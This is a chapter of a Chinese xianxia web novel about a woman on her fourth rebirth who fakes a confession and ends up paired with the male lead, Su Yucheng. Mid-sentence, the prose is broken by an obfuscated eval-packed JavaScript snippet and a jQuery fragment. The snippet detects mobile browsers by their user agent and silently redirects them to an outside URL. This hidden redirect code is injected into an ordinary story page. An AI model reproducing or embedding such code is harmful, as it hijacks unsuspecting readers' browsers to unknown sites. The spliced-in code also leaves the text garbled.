“听说了吗,归元派的大弟子入魔了。”
灵历六百六十五年,魔族兵临黑牙山,黑鸦鸦一片的人头,吓得仙门那些养尊处优的小弟子们各个花容失色,一退再退,要不是有那归元派掌门在后门挡着,这元界怕是早就成为了魔族的天下了。
说来也是,这元界向来灵气清顺,风调雨顺,纵是千万年来有魔族诞生,但这魔族从未掀起过什么大风大浪,因此仙门总觉得这日子就可以这么过下去。
直到归元派大弟子入了魔。
说起这大弟子,也是稀奇。早年贫苦凡人出身,一朝翻身,成了归元派大弟子,可谓是天赋异禀,引得众人折服,后不知什么原因,竟是一下入了魔,成了魔主。
时不时带着这魔族大军在魔族和灵界的分界线:黑牙山,晃悠那么两三圈,不开战,但也是实实在在给仙门们带来了不大不小的阴影。
可这一次不知怎的,这魔主开始来真的了,这可是吓坏了这些小弟子们。
一时之间,留在黑牙山的人骤减,剩下来的都是一些想要借此机会往上爬的普通修仙者。
这一战,自然大败。
苏禹珹将手中刚得到的灵界至宝随意扔给手下,整了整衣摆,朝着魔宫地牢中蓬头垢面的老头作揖,“师尊,许久不见。”
老头朝他啐了一口,骂道:“孽徒!”
听见这话,苏禹珹只是笑了笑,继续道:“世人都道师尊仙道正统,一心只为苍生,可谁会知,他竟为了长生不惜残害自己的大徒弟,陷害小徒弟,杀害毫不相关的无辜弟子……”说到此,苏禹珹停住,不再继续往下。
“你懂什么?牺牲几个不相干的小人物,成我长生大梦,他们该为此自豪……更何况,我一心为苍生,这又何尝不是他们的一件功德?”
“哈……”苏禹珹冷笑一声,“既如此,为了苍生,想来师尊也是愿意奉献自己的。”
这话说的老头大感不妙,他一向是惜命的,于是连忙求饶:“好徒儿,我们有话好好说……况且我那小徒弟我疼还来不及,怎么会陷害她……唔唔唔……”
话未说完,苏禹珹派人堵住他的嘴,让人拖着他出了地牢,带着魔族大队一路畅通无阻。
此时灵宝仙尊被俘,仙门早已落陷,苏禹珹只是一瞬的功夫就带着魔族到了归元派门口。
他熟练捏决,仿佛已经实行了千百次那样,不过他天资一向高,学任何东西都是手到擒来。就地画下阵法,他又接过三块至宝,将其扔进阵法中对应位置,又示意手下将奄奄一息的灵宝仙尊扔到阵法的另一边,自己则站到他的对侧。
老头被摔得哎呦一声,待看清眼前的阵法,抖得哆哆嗦嗦:“这……这是……扭转时光之术……你可知……你可知……此法乃逆天之法,做法之人神魂将会经受不可逆转的损伤……你……为何非要如此,就算逆转时光,你也记不住前事,又有何用?”
苏禹珹做完阵法最后一步,等到灵魂的抽离感,他面带回忆,在意识失去的前一秒,他低低道:“如果是她,自是可以。”
灵历六百六十五年,灵宝仙尊与魔主纷纷暴毙于归元派山门前。
众人大喜,都道苍天有眼,收了这魔头,只是可惜,元界失了一员大将灵宝仙尊。
但只要还有机会,总会有新的希望。
方若夏穿梭在众多弟子间,有关自己的传闻断断续续飘进了耳朵,同门们眼神频频隐晦落在她身上,更有胆大者直直盯着她瞧,像在瞧着什么稀罕物。
正是骄阳正中,游过的风穿过林间,荡在山谷中,穿堂而过,带来“呼啸”的回响。
有阵阵私语从其中泄出。
“听说了吗,那个外门弟子不知好歹对掌门弟子杨弯弯表明了爱慕。”
为了突出荒谬,说话之人还特地强调了两人身份,展示其中的云泥之别。
方若夏习以为常,从闲言碎语中淡淡路过。
那边,议论声仍在继续。
“听说了听说了,不过这不是重点。”
“什么?”
“这两者可都是女子……”
“这……”
……
此事太过于惊世骇俗,年纪尚轻的弟子被惊得不知如何继续往下评论,只得就此作罢。
这样的话,有一下没一下的。
这种情况已经持续了一月之久。
一月前,方若夏迎来了自穿书的第四次重生。
本来重生就烦,死又死不透,活又活不了。
再加上上一世把她捅个对穿的杨弯弯正在面前叽叽喳喳,说着什么要做朋友,要她帮忙追男人的鬼话。
什么朋友,两肋插刀的朋友吗。
说着还晃她两下,全然不顾她惨白的双颊,方若夏被晃得以为自己又要西去重开,一股恶心就要涌了上来。
她看着眼前明眸皓齿的原女主,再想起自己前三次重生对她百依百顺,指哪打哪,就差把男主绑她床上了。
然后上一世她给她捅了个对穿。
她顿时恶从心中起,张嘴就是:“弯弯,我喜欢你……”后面的话她故意张了张嘴,假意没说。
对方想到了什么她不知道,但杨弯弯的小脸瞬间僵硬,只是瞬间,就消失在她眼前。
方若夏快哉。
之后,便是流言四起的一个月。
这一个月,杨弯弯在她面前彻底消失,也无人敢来招惹她,方若夏也乐得自在。
今日,则是下一个剧情点,下山历练的前三天。
这个剧情点对男女主来说,是交心的开始。
而对于她来说,完不成,很可能就是她下一次重开的开始。
这段时间实在太过清闲,她都忘了这个历练。
又好巧不巧,这个历练需要组队才能完成。
屋漏偏逢连夜雨。
此时所有弟子都对她避之不及,更不要说一同组队。
无法,她只好来申请随机分配了。
众多弟子见到流言主角,都不自觉让出一条道。
多亏了杨弯弯,她也算是在这个归元派开始有头有脸。
行走间,前方一阵清风,带来了凌冽霜雪味道,从弟子间传来,一名身穿月华白衣男子立于众弟子中,长发一丝不苟束起,背影如青松般挺拔,身形似孤峰悬玉。
他恰好转过身来,一双凤眸直直向方若夏看来,顿住,从路的尽头缓步踏来,步履间随意,是君子端方、温良如玉的模样。
方若夏却是无心欣赏。
此人乃杨弯弯大师兄,也是本书原男主。
也就是说,这波,是冲她来的。
方若夏闭上了眼,又绝望睁开了眼。
暗叹难道此行就折戟于此之时,苏禹珹已行至她身前。
“你……”他迟疑着开口,如泉水敲击青石,“喜欢杨弯弯?”
来了来了,正主来兴师问罪了。
方若夏挺了挺胸,直了直腰,清了清嗓子,不愿落得下风。
“当然……”
她正打算否认,但转念一想,前几世最后的结局都是完蛋,凭什么要继续屈服于男主的淫威。
她要翻身农奴把歌唱。
她不仅要给男主添麻烦,还要给女主添麻烦。
她捏住苏禹珹的衣袖,怕挨揍,特地一触即离。
她夹着嗓子,娇滴滴道:“当然也喜欢你……”
“嘶……”
不知是哪位弟子没控制住自己,一声激起千层浪。
周围立马炸开了锅。
太敢了吧。
太敢了,当面挑衅掌门二位爱徒。
且看大师兄如何将她揍得爬不起来,这不知所谓的家伙就知道所谓了。
众望所归下,苏禹城开口了,他不确定道:“你是说……”又顿住,皮笑肉不笑,呵了两声,“可否再重复一遍,方才风有些大。”
风?
什么风?
一个修士耳朵怎么会不好。
还不是想让她重复一遍自己的罪行。
这要是放在以前,方若夏定会立马连连摆手否认,说自己开了个不太好笑的“玩笑”。
但现在方若夏无所畏惧。
所以她又重复了一遍,说得更大声了:“大师兄,我喜欢你和杨……”喜欢杨弯弯。
后面半句话还没出口,就被打断。
“好,我知道了。”苏禹珹常年冰霜的神情陡然雪融,露出一抹羞涩的笑。
方若夏哪见过这样的苏禹珹,心中警铃大作。
果不其然,苏禹珹上前牵住她的手,看似轻柔,力度却不可小觑,“既如此,不如我们结为道侣。”
方若夏:“我……啊?”
她沉默了会,才结结巴巴,断断续续继续说:“不……不妥吧……”
苏禹珹:“为何拒绝,难道你说的那些全是骗我?”
“不不不!”
方若夏不敢承认。
不知为何,她总觉得,比起花心,欺骗似乎更过分。
她打算做最后的挣扎,试图让对方因此厌恶他,“可……可是我也喜欢弯弯……”
“嗯……”苏禹珹点点头,若有所思,随即轻松道“无碍,师妹打不过我。你只管答应我便可,余下的阻碍我会解决。”
这话说得无比嚣张,带着不容置喙。
是男主一贯的风格。
曾经做过男主狗腿子的方若夏明白,他这是定了主意,无人能改。
话已至此,方若夏也不做无谓的挣扎了,更何况眼下还有更重要的问题需要解决。
她装作无奈点点头,硬是挤出两滴眼泪,“大师兄,我……那我先去找人组队,若是再不找,恐怕要被逐出归元派了。”
“可是下山历练?”苏禹珹听闻,道:若夏既无人组队,正好,不若与我。”
得到想要的答案,方若夏压下心中的喜悦。
她假意推辞,“这……这样不好吧?”
苏禹珹:“自然,不过你需先与我见过师尊,让他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222106|197531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老人家认识认识你。”
话语间,也不容她拒绝,还未等众人反应过来,他已拉着方若夏离开。
留下的弟子间立马引起一番轩然大波,一时之间议论纷纷,好不热闹。
清风崖的风儿一向是喧嚣的,虽无霜雪,却带着霜的清冽,只是偶尔,会稍柔婉些。
方若夏挣了好几次,也没挣开苏禹珹的桎梏,索性作罢。
她乐观地想,兵来将挡水来土掩,都死了好几次,还怕这种小事,大不了再重开嘛。
也许是晓得清风崖要来人,此处的风竟也没有其他弟子口中那般刮人,反而带着一丝清霜气息。
苏禹珹带着她,路过竹林、清湖,一路直奔清风崖正中心,那正是清风崖大殿所在。
方若夏突然觉到禹珹不仅是认真的,更是非常看重此事。
她不由得一阵心虚。
到了。
还未见其人,方若夏脚刚落地,便听得中气十足的哈哈大笑从殿中传来,带着从容不迫,听着平易近人,她瞬间便放下了心中防备,忍不住好奇苏禹珹师尊模样。
虽已重生三次,但说实话她还未见过苏禹珹师尊真容,第一次重生时虽坐到了长老位置,可那时苏禹珹师尊早已仙去,她自然也是没有机会见的。
一个身穿白衣的白胡子白发男子迎着风走来,他顶着一张光滑的面皮,笑得一双眼眯起,一身用特殊丝线绣上的月华白衣,在清风崖上亮的显眼。
嘿,一个白老头。
“你就是若夏吧?”灵宝仙尊捋捋胡子,看向自己的徒弟,又瞧瞧她,“我的好徒儿可与我说了,着急忙慌要我来见见你。”
灵宝仙尊瞪了眼苏禹珹,苏禹珹不急不忙点头笑笑。
灵宝仙尊指指苏禹珹:“你小子,真是想一出是一出。你传与我此事消息时,你师妹正在一旁,知道此事哭得好狠,你可得解决此事。”
他又凑到方若夏面前,“丫头,你实话实说,你可是自愿的?”
方若夏:“我……”她看了看苏禹珹一眼,见他眉眼含笑,目不转睛等着自己的回答,这事发展到这,若是她否认,那还不得被苏禹珹的师父一招打出清风崖,本就岌岌可危的生命,立马减少一半。
于是她装作害羞道:“是……是自愿的。”
灵宝仙尊听闻,倒是哧了声,吹胡子瞪眼道:“行了,你这样子我一瞧便知,是我家小子自作多情。”
方若夏看他的眼睛瞬间充满了敬佩。
苏禹珹连忙低头道:“师尊,你这可是说错了,是她先说爱慕于我的。”
灵宝仙尊可不信,转头看向她,问道:“是吗,那你为何一脸不情愿。”
方若夏连忙圆谎:“是……我就是,就是觉得太快了……”
灵宝仙尊看看苏禹珹,看看方若夏,为难“啧”了声,头也不回快速离开。
待到人消失在殿内,又传出来一句话:“小子,此次历练你让小师妹与你一道,她见到了,自然也是会死心。”
方若夏看看灵宝仙尊离开的方向,又看看苏禹城。
他正死死盯着大殿方向,紧抿双唇。
方若夏:“你看我……”
她举起苏禹珹与她十指相扣的手,还未说完,引得苏禹珹侧目。
他眉眼下压,面色冰冷,却在转过来时,灿然一笑。
“三日后见。”
三日后。
归元派山门出挤满了熙熙攘攘的弟子,其中苏禹珹和杨弯弯最为显眼,两人都着常规内门弟子服。
内门弟子服与外门虽未同色,但布料总是要更好些,用特殊的丝线织成,在阳光的照耀下,会泛起粼粼波光。
方若夏记得很清楚,上一世的黑牙山上,杨弯弯就是穿着这一身,给她下了药,封了她的灵力,给她捅了个对穿。
她站在黑崖山上向下看她被魔气纠缠侵蚀,宛如九天之上的神女,悲天悯人,又将她视若草芥。
她极不情愿蹭到苏禹珹面前,四周不停歇地议论声时不时从三人之间滑过。
“他们……他们?”
“真没想到,有生之年能见到这样的名场面啊……”
“你们都别乱猜,我有小道消息,说是咱们的大师兄打败了杨弯弯,夺得美人……”
……
杨弯弯的表情越来越差。
方若夏的淡定越来越破裂。
苏禹珹却好似听不见,见方若夏走来,一脸笑意执起她的手,“你来了,三日不见,我想你了。”
方若夏一脸麻木,早已习惯。
这三日,苏禹珹时不时就来找她,或者用传音符说些黏黏糊糊,甜腻的话。翻来覆去的几句不过就是“我想你”。
方若夏赶紧打断他,“我看着已是巳时,大师兄我们赶紧启程出发吧。”
苏禹珹笑笑,带着小队走到大队前方,“出发。”
杨弯弯看着二人并肩而行的身影,咬牙,几次将储物囊中的药瓶拿出,又放回去,眼中闪过挣扎。